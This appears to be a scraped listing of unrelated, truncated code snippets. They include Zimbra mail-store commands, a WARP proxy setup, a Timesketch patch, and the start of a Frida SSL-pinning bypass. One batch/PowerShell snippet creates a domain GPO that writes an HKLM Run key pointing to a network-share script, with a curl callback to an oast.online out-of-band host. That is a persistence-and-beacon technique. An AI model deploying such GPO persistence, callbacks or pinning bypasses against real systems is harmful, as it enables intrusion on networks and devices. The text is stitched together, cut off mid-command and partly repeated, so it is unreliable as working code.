$ zmprov getMailboxInfo [email protected]
mailboxId: xxxx
quotaUsed: 12312313
$ ls -alvh /opt/zimbra/store/0/xxxx/msg/0/
echo addMessage /INBOX /opt/zimbra/store/0/xxxx/msg/0/ | /opt/zimbra/bin/zmmailbox -z -m [email protected]
@echo off | |
set scriptName=MyStartupScript | |
set scriptPath=\\10.0.8.2\NetLogon\StartupScript.cmd | |
powershell.exe -Command "New-GPO -Name 'StartupScript GPO'; New-GPLink -Name 'StartupScript GPO' -Target 'OU=Computers,OU=dfcorp.com,DC=dfcorp,DC=com'" | |
powershell.exe -Command "New-GPPrefRegistryValue -Name 'StartupScript' -Context 'Machine' -Action 'Create' -Key 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -ValueName '%scriptName%' -ValueData '%scriptPath%' -Type 'REG_SZ'" |
# | |
$MY_SCRIPT="`nC:\Windows\System32\curl.exe cfibiefn9dldnf7uquq0cb6g79wa8bhki.oast.online`n" | |
# Getting information | |
$DOMAIN=(Get-ADDomain).Forest | |
$DOMAIN='dfcorp.com' | |
$DN=(Get-ADDomain).DistinguishedName | |
$DN='OU=Workstations,DC=dfcorp,DC=com' | |
$DN='DC=dfcorp,DC=com' |
docker pull ghcr.io/octeep/wireproxy:latest | |
curl -o wgcf -L https://github.com/ViRb3/wgcf/releases/download/v2.2.15/wgcf_2.2.15_linux_amd64 | |
chmod +x wgcf | |
./wgcf register | |
./wgcf generate | |
chmod 644 wgcf-profile.conf | |
docker run -d --name "warp-proxy" \ | |
-v "$(pwd)/wgcf-profile.conf:/tmp/wgcf-profile.conf:ro" \ | |
-v "$(pwd)/wireproxy.cfg:/tmp/wireproxy.cfg:ro" \ | |
-p 10800:1080 \ |
FROM ubuntu:22.04 | |
RUN apt update -y && apt install -y apt-transport-https curl | |
RUN curl https://pkg.cloudflareclient.com/pubkey.gpg | gpg --yes --dearmor --output /usr/share/keyrings/cloudflare-warp-archive-keyring.gpg | |
RUN echo "deb [arch=amd64 signed-by=/usr/share/keyrings/cloudflare-warp-archive-keyring.gpg] https://pkg.cloudflareclient.com/ jammy main" | tee /etc/apt/sources.list.d/cloudflare-client.list | |
RUN apt update -y && apt install -y cloudflare-warp | |
CMD ["warp-svc"] |
cp /usr/local/lib/python3.10/dist-packages/timesketch/frontend/dist/js/index.de6f02a3.js /usr/local/lib/python3.10/dist-packages/timesketch/frontend/dist/js/index.de6f02a3.js.bak | |
echo -ne '\r\ncrypto.randomUUID = function randomUUID() {return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g,c => (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16));};\r\n' > /usr/local/lib/python3.10/dist-packages/timesketch/frontend/dist/js/index.de6f02a3.js | |
cat /usr/local/lib/python3.10/dist-packages/timesketch/frontend/dist/js/index.de6f02a3.js.bak >> /usr/local/lib/python3.10/dist-packages/timesketch/frontend/dist/js/index.de6f02a3.js | |
https://docs.espressif.com/projects/esp8266-rtos-sdk/en/latest/get-started/windows-setup.html | |
https://dl.espressif.com/dl/esp32_win32_msys2_environment_and_toolchain-20181001.zip | |
Download esp8266 toolchains: | |
https://dl.espressif.com/dl/xtensa-lx106-elf-gcc8_4_0-esp-2020r3-win32.zip | |
mingw32.exe | |
mkdir -p ~/esp |
console.log("[*] SSL Pinning Bypasses"); | |
console.log(`[*] Your frida version: ${Frida.version}`); | |
console.log(`[*] Your script runtime: ${Script.runtime}`); | |
/** | |
* by incogbyte | |
* Common functions | |
* thx apkunpacker, NVISOsecurity, TheDauntless | |
* Remember that sslpinning can be custom, and sometimes u need to reversing using ghidra,IDA or something like that. | |
* !!! THIS SCRIPT IS NOT A SILVER BULLET !! |
https://adoptium.net/temurin/releases/ |
$ zmprov getMailboxInfo [email protected]
mailboxId: xxxx
quotaUsed: 12312313
$ ls -alvh /opt/zimbra/store/0/xxxx/msg/0/
echo addMessage /INBOX /opt/zimbra/store/0/xxxx/msg/0/ | /opt/zimbra/bin/zmmailbox -z -m [email protected]